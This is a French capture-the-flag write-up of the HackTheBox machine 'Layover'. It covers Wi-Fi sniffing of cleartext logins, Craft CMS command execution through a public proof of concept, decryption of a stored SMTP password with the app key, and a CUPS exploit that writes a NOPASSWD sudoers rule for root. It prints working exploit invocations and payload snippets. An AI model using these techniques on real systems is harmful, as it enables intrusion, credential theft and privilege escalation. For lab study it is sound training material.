HackTheBox | Layover
Layover commence par un accès à un poste de travail distant. Le serveur Linux que je dois compromettre se trouve derrière un réseau interne. Pour l'atteindre, je dois d'abord comprendre les interfaces de la workstation, rejoindre son réseau Wi-Fi et analyser le trafic qui y circule.
La suite de l'exploitation passe par Craft CMS, la récupération d'un secret chiffré dans une base MariaDB et sa réutilisation pour ouvrir une session SSH. Une vulnérabilité locale de CUPS permet enfin d'obtenir les privilèges root.
Reconnaissance et accès RDP
Je récupère l'adresse de connexion de la machine et je vérifie qu'elle répond sur le réseau du laboratoire.

La cible répond aux cinq paquets ICMP envoyés.

Je poursuis avec Nmap pour identifier les ports ouverts. Le service RDP est particulièrement intéressant : il donne accès à un poste complet plutôt qu'à une simple application. Les informations de connexion fournies dans le laboratoire permettent de rejoindre airside-ws01 avec le compte contractor.

Une fois connecté, j'examine le système et sa configuration réseau. Le poste de départ est une workstation Linux. Je cherche notamment les interfaces disponibles et les réseaux auxquels elles peuvent accéder.

Je liste ensuite les réseaux visibles avec nmcli device wifi list ifname wlan2 puis avec wlan3. Les deux interfaces voient HTB International WiFi sur le canal 6. La colonne SECURITY indique -- : le réseau est ouvert.

Découverte du réseau Wi-Fi interne
L'environnement dispose de plusieurs interfaces sans fil. Le réseau HTB International WiFi apparaît dans les réseaux accessibles. Je m'y connecte depuis la workstation avec wlan2.
Cette interface reçoit l'adresse 10.13.37.182 dans le sous-réseau 10.13.37.0/24. Les services internes sont désormais accessibles depuis airside-ws01, alors qu'ils ne le sont pas directement depuis mon Mac.

Je découvre un portail web interne, Miles, dont l'accès nécessite des identifiants.


Je garde wlan2 connectée au réseau et je réserve wlan3 à la capture du trafic Wi-Fi.

La commande iw list confirme que le mode monitor est pris en charge.

Je place wlan3 en mode moniteur sur le canal 6. Ce mode permet d'observer les trames Wi-Fi du canal, au-delà du seul trafic destiné à ma workstation.

Interception des identifiants HTTP
Je lance une capture sur wlan3 avec Wireshark et je cherche des échanges HTTP susceptibles de contenir des identifiants en clair.

Je filtre d’abord les trames de données avec wlan.fc.type == 2. Ce filtre inclut différents protocoles et ne se limite pas à HTTP.

Je passe ensuite au filtre http.request.method == "POST". Des requêtes reviennent régulièrement entre 10.13.37.132 et 10.13.37.10 vers le formulaire Miles.

L'une des requêtes utilise la méthode POST vers /miles/login.php. Les paramètres d'authentification sont transmis en clair. Je relève le compte jenny et le mot de passe associé. Le caractère dans Fl1ght est le chiffre 1, ce qui est important pour la suite.
POST /miles/login.php HTTP/1.1
Host: portal.international.htb
La requête permet aussi d'identifier le serveur interne : portal.international.htb, à l'adresse 10.13.37.10.

Connexion à Craft CMS
Je retourne sur le portail et je teste les identifiants récupérés. La connexion fonctionne. L'exploration du site mène également à son interface d'administration, accessible sur /admin.



Le pied de page du tableau de bord indique Craft CMS Solo 5.9.8.
Exécution de commandes avec Craft CMS
La version et le contexte authentifié m'orientent vers le PoC public associé à CVE-2026-44011. Je consulte sa documentation pour comprendre ses paramètres et son point d'entrée. Le script travaille avec une session Craft valide et cible notamment l'action /admin/actions/element-search/search.

Je lance un premier test avec id; hostname pour identifier le compte du processus PHP et le serveur sur lequel la commande s'exécute.
python3 /tmp/exploit.py \
-b http://portal.international.htb \
-u jenny \
-p 'Fl1ghtDeck2026!' \
-c 'id; hostname' \
-H 10.13.37.182 \
--listen-port 8888 \
-F
Je lance le PoC depuis airside-ws01, avec le compte contractor. Les commandes passées avec -c s'exécutent sur le serveur portal.

La sortie renvoie uid=33(www-data) et le nom d'hôte portal : l'exécution de commandes fonctionne malgré les réponses HTTP 500 affichées par le PoC.
Exploration des fichiers et de la base de données
Depuis cet accès www-data, j'explore les fichiers du serveur. pwd indique /var/www/portal/web et la liste de /var/www/ révèle le dossier portal.

Je liste ensuite le contenu de /var/www/portal/ avec les fichiers cachés.
pwd
ls -la /var/www/
ls -la /var/www/portal/

Le répertoire contient un fichier .env, des dossiers de configuration et le code du module personnalisé. Le fichier d'environnement est lisible par www-data. Il contient les paramètres de connexion à MariaDB ainsi que CRAFT_SECURITY_KEY, la clé de sécurité de l'application.
cat /var/www/portal/.env

Je réutilise les paramètres de connexion trouvés dans ce fichier pour interroger la base craft sur 127.0.0.1. La requête SHOW TABLES permet de repérer les tables propres à l'application.
MYSQL_PWD=CraftDB_pw_2026 mysql \
-h 127.0.0.1 -u craftuser -D craft \
-e 'SHOW TABLES;'

Une table se distingue : htbairways_settings. Son nom correspond au module personnalisé déjà observé. J'examine sa structure puis ses données.
DESCRIBE htbairways_settings;
SELECT * FROM htbairways_settings;

La table renseigne un relais SMTP, son port 587, le compte aporter et un champ mailRelayPassword. Le mot de passe n'est pas lisible directement. Sa valeur est encodée en Base64, mais cet encodage enveloppe des données chiffrées. Il ne suffit donc pas de décoder la chaîne pour obtenir le secret.
Comprendre et reproduire le déchiffrement
Plutôt que d'essayer de casser le chiffrement, je cherche la partie de l'application qui lit mailRelayPassword. Une recherche dans le module fournit un chemin précis.
grep -Rn 'mailRelayPassword' /var/www/portal/modules/htbairways/

Je retrouve son utilisation dans console/controllers/MilesController.php. Je lis les lignes concernées avec sed. Le contrôleur décode d'abord la valeur Base64 puis appelle decryptByKey() avec la clé de sécurité de Craft.
$securityKey = Craft::$app->getConfig()->getGeneral()->securityKey;
$password = Craft::$app->getSecurity()->decryptByKey(
base64_decode($kv['mailRelayPassword']),
$securityKey
);
J'ai donc les deux éléments nécessaires au déchiffrement : le secret stocké en base et la clé Craft présente dans .env.

Je prépare alors un petit script PHP exécuté sur portal, là où les bibliothèques de Yii sont disponibles. Il charge l'autoloader de l'application, lit la clé dans .env, récupère la valeur chiffrée dans MariaDB et applique yii\base\Security::decryptByKey().
Voici l'extrait qui effectue le déchiffrement :
require '/var/www/portal/vendor/autoload.php';
require '/var/www/portal/vendor/yiisoft/yii2/Yii.php';
$db = new PDO(
'mysql:host=127.0.0.1;dbname=craft',
'craftuser',
'CraftDB_pw_2026'
);
$stmt = $db->query(
"SELECT value FROM htbairways_settings WHERE name = 'mailRelayPassword'"
);
$encrypted = $stmt->fetchColumn();
$security = new \yii\base\Security();
$password = $security->decryptByKey(base64_decode($encrypted), $securityKey);
Ici, $securityKey est extraite séparément de la ligne CRAFT_SECURITY_KEY= dans .env.
Avant de lancer le déchiffrement je teste le chargement des bibliothèques et la présence de yii\base\Security. Le résultat available confirme que la classe est disponible.

Je transfère le script sur le serveur puis l'exécute avec le même PoC Craft, en demandant cette fois php /tmp/passwouardeuh.php. Le mot de passe du relais est récupéré en clair. Le compte associé est aporter.

Accès SSH et flag utilisateur
Je teste les identifiants SMTP en SSH avec le compte aporter sur le serveur interne.
Depuis airside-ws01 :
ssh aporter@10.13.37.10
L'authentification fonctionne avec le mot de passe déchiffré. Une fois connecté, je vérifie mon identité et le nom d'hôte :
id
whoami
hostname
sudo -l
Je suis connecté en tant qu'aporter (uid=1001) sur portal : le mot de passe SMTP est aussi celui du compte Linux. sudo -l indique toutefois que ce compte n'a aucun droit sudo.

Je consulte ensuite le répertoire personnel et lis le flag utilisateur. Sa valeur n'est pas reproduite ici.
ls
cat ~/user.txt

Recherche d'une élévation de privilèges
Depuis la session SSH, je recherche les services privilégiés accessibles à aporter.
Les vérifications réalisées sur portal mettent en évidence CUPS, le service d'impression Linux :
ps aux | grep '[c]upsd'
ss -lntp | grep ':631'
ls -l /run/cups/cups.sock
cups-config --version
Les résultats montrent que cupsd est exécuté par root, que le service écoute sur 127.0.0.1:631 et [::1]:631, et que son socket Unix /run/cups/cups.sock possède les permissions srwxrwxrwx. La version annoncée est 2.4.16.
Le socket est accessible aux utilisateurs locaux. Je regarde donc quelles opérations CUPS accepte depuis ce compte.
Exploitation locale de CUPS
J'étudie alors le PoC public associé à CVE-2026-34990. Son principe est de faire communiquer CUPS avec un serveur IPP contrôlé, de récupérer un jeton d'authentification locale puis de détourner une file d'impression afin d'écrire dans un fichier privilégié.
Le script est autonome et utilise la bibliothèque standard Python. Je vérifie le code avant son exécution, notamment les chemins de fichiers et les commandes qui modifient le système.
Récupération du jeton d'authentification
Le PoC définit deux services locaux :
CUPS = ("127.0.0.1", 631)
ROGUE = ("127.0.0.1", 9189)
Le port 631 correspond à CUPS. Le port 9189 sert au faux serveur IPP ouvert par le script. Celui-ci écoute les connexions entrantes et cherche un en-tête Authorization: Local :
for line in data.decode("latin1", "replace").splitlines():
if line.lower().startswith("authorization: local "):
captured_token = line.split(None, 2)[2]
Pour provoquer la connexion, le script envoie une requête IPP utilisant l'opération CUPS-Create-Local-Printer. La destination de l'imprimante pointe vers le serveur local contrôlé :
attr(0x45, "device-uri", f"ipp://{ROGUE[0]}:{ROGUE[1]}/ipp/print")
Le serveur temporaire répond par un défi HTTP d'authentification locale. Le PoC cherche ensuite à intercepter le jeton envoyé lors de la nouvelle requête.
Détournement de la destination d'impression
Après récupération du jeton, le script utilise une opération administrative IPP pour créer une file d'impression persistante. Sa destination n'est pas une imprimante, mais un fichier dans /etc/sudoers.d/ :
target = f"/etc/sudoers.d/{USER}-pwn"
attr(0x45, "device-uri", f"file://{target}")
attr(0x22, "printer-is-temporary", b"\x00")
Cette destination file:// est le point critique. Si CUPS accepte la configuration, les données du travail d'impression peuvent être écrites à l'emplacement choisi avec les privilèges du service.
Le PoC active la file puis prépare un travail d'impression contenant une règle sudoers. Il compresse les données avec gzip et les transmet comme document brut :
payload = gzip.compress(f"{USER} ALL=(ALL) NOPASSWD: ALL\n".encode())
La règle générée accorde au compte courant l'utilisation de sudo sans mot de passe. Dans mon cas, le fichier visé est /etc/sudoers.d/aporter-pwn.
Résultat de l'exploitation
Une fois poc.py présent sur le serveur, je le lance depuis ma session SSH aporter :
python3 /tmp/poc.py
Le PoC annonce la capture du jeton, l'écriture du fichier sudoers et une vérification des droits. Son contrôle final utilise sudo -n id, qui refuse toute demande interactive de mot de passe.
[+] captured token: [masqué]
[+] wrote /etc/sudoers.d/aporter-pwn
[+] root: uid=0(root) gid=0(root) groups=0(root)
La commande sudo -n id renvoie uid=0(root) : l'élévation de privilèges a fonctionné.

Il reste à ouvrir une session privilégiée et à lire le flag root :
sudo -i
id
ls
cat root.txt
Le prompt passe à root@portal et id confirme uid=0(root). Le flag est récupéré sans reproduire sa valeur dans l'article.


Conclusion
L'accès RDP permet de rejoindre le réseau interne, où la capture Wi-Fi révèle des identifiants HTTP en clair. Ils donnent accès à Craft CMS, puis à une exécution de commandes en tant que www-data.
J'ai surtout retenu l'analyse du module htbairways : le code PHP et la clé de sécurité Craft permettent de déchiffrer le mot de passe SMTP stocké dans MariaDB. Sa réutilisation ouvre une session SSH avec aporter.
L'exploitation locale de CUPS permet ensuite d'écrire une règle dans sudoers, d'obtenir un shell root et de récupérer le dernier flag.